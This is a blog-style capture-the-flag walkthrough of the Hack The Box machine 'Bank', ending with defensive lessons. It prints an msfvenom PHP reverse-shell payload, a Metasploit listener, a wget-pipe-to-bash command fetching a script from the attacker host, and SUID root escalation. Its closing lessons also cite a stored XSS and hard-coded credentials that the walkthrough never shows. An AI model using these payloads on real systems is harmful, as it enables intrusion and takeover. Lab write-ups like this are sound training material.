Keep Calm and Hack The Box – Bank

Welcome back, aspiring hackers! Today, we‘re diving deep into the retired "Bank" box from Hack The Box. This beginner-friendly machine is a veritable treasure trove of lessons in web app security, privilege escalation, and the importance of a defense-in-depth approach. As we walk through each step, I‘ll share insights from my experience as a full-stack developer and pentester. So put on your black hat and let‘s get started!

Reconnaissance: The Foundation of a Successful Hack

In the immortal words of Sun Tzu, "If you know the enemy and know yourself, you need not fear the result of a hundred battles." In the context of hacking, this means the more we understand about our target, the more likely we are to find a chink in their armor. That‘s why thorough reconnaissance is the foundation upon which a successful hack is built.

We‘ll start by scanning the Bank machine with Nmap, the venerable swiss army knife of network exploration. There are many ways to run an Nmap scan, each trading off between speed, stealth, and thoroughness. For a CTF box, an aggressive scan is usually fine:


nmap -p- -A -T4 -oA nmap/bank bank.htb


This command scans all ports (-p-), enables OS and version detection, script scanning, and traceroute (-A), sets the timing template to aggressive (T4), and outputs the results to all major formats (-oA) in the nmap directory.

The results show three open ports: SSH (22), DNS (53), and HTTP (80). As a web developer, the HTTP service immediately catches my eye – web apps are notorious for being riddled with vulnerabilities. Let‘s investigate further with Gobuster, a tool for brute-forcing web directories and files:


gobuster dir -u http://bank.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html -o gobuster.txt


This command tries to discover directories using a wordlist of common names, and also searches for PHP, text, and HTML files. The choice of wordlist is important – too small and you might miss something, too large and the scan will take forever. The medium-sized list from Dirbuster is a good compromise.

Gobuster finds several juicy directories like /balance-transfer, /login, and /support. Visiting /balance-transfer reveals records of customer bank transfers, apparently encrypted. However, one file failed to encrypt properly, exposing the customer‘s username and password in plain text! This is a rookie mistake by the developers – sensitive data should always be encrypted before storing, and double-checked on display.

Armed with these credentials, we can now log into the Bank app and poke around for more vulnerabilities.

Exploiting Insecure File Uploads for Fun and Profit

In the /support section of the Bank app, there‘s a form to submit support tickets with attached files. As a web developer, alarm bells immediately start ringing in my head. File uploads are a common attack vector – if not properly secured, they can allow an attacker to upload malicious scripts and compromise the server.

Let‘s try uploading a PHP shell. We can use Msfvenom, a versatile payload generator, to create a file that will open a reverse shell to our attacking machine:


msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.28 LPORT=4444 -f raw > shell.php


This command generates a PHP script that will create a reverse TCP connection to 10.10.14.28 on port 4444, using the Meterpreter payload. Meterpreter is a powerful, extensible shell that allows you to interact with the victim machine as if you were sitting at the keyboard.

Before we upload our shell, we need to set up a listener to catch the incoming connection. In Metasploit:


use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set LHOST 10.10.14.28
set LPORT 4444
run


Now, let‘s attempt to upload our shell.php file… and it‘s blocked. The app seems to be filtering file extensions. However, a peek at the page source reveals an HTML comment indicating that files with a .htb extension will be executed as PHP. The developers probably enabled this for debugging and forgot to turn it off. Rookie mistake #2!

We rename our payload to shell.htb, upload it successfully, and navigate to http://bank.htb/uploads/shell.htb in our browser. The malicious script executes and connects back to our waiting listener. We‘re in!

The Priv Esc Dance

We may have a foothold, but we‘re still just a lowly www-data user. Our ultimate goal is to escalate privileges and become root. This is where the real fun begins!

To search for potential privilege escalation vectors, we‘ll use LinEnum, a handy script that performs a range of system enumeration checks. Since our shell can‘t directly download files, we‘ll host LinEnum on our attacking machine with a Python web server:


python3 -m http.server 80


Then, in our Meterpreter shell, we can wget the script and pipe it to bash:


wget 10.10.14.28/LinEnum.sh -O - | bash


LinEnum will spider through the filesystem, gathering information about permissions, SUID files, cron jobs, and more. It‘s like a treasure map for privilege escalation!

One finding immediately stands out: an executable called "emergency" in /var/htb/bin, owned by root and with the SUID bit set. In Linux, SUID (Set User ID) is a special permission that allows a program to run with the privileges of its owner, rather than the user executing it. This can be necessary for certain tasks that require higher permissions, but it‘s also inherently risky. If an SUID binary has vulnerabilities, a lower-privileged user can exploit it to gain the permissions of the owner – in this case, root.

Let‘s run this mysterious "emergency" program and see what happens:


/var/htb/bin/emergency


Well hello there, root shell! The emergency executable simply spawns a shell with root privileges, no questions asked. This is about as insecure as it gets – any user on the system can become root just by running this program. The developers likely put this in as a backdoor for easy admin access, but in doing so they completely undermined the system‘s security. Facepalm.

From here, grabbing the user.txt and root.txt flags is just a matter of knowing where to look. The user flag is in /home/chris, while the root flag, as always, is in /root. Cat them out and give yourself a pat on the back – you just pwned the Box!

Lessons Learned

Hacking isn‘t just about knowing which commands to run – it‘s a mindset. It‘s about constantly asking yourself "how can this break?", looking at systems through an adversarial lens. The Bank machine is a perfect example of how a series of seemingly minor misconfigurations can add up to total compromise.

From a defensive perspective, this box highlights several critical security principles:

1. Always encrypt sensitive data, both at rest and in transit. The Bank‘s balance transfer records should never have been stored or transmitted in plaintext.

2. Implement strict input validation and output encoding. The failure to properly sanitize the stored XSS payload led to the credential disclosure.

3. Follow the principle of least privilege. There‘s no reason for the web server to have access to a full root shell. SUID binaries should be used sparingly and carefully audited.

4. Defense in depth is key. A single vulnerability might be tolerable, but when you stack them together – insecure file uploads, stored XSS, hard-coded credentials, overprivileged SUID binaries – it‘s game over.

As a full-stack developer, it‘s tempting to cut corners in the name of getting features out the door. But as we‘ve seen, even small oversights can have catastrophic consequences down the line. It‘s crucial to bake security in from the start, in every line of code we write.

Thank you for joining me on this deep dive into the Bank machine! I hope these insights have sharpened your hacker mindset and given you some food for thought on securing your own apps. As always, keep hacking, keep learning, and stay curious. And remember – with great power comes great responsibility. Hack ethically, my friends!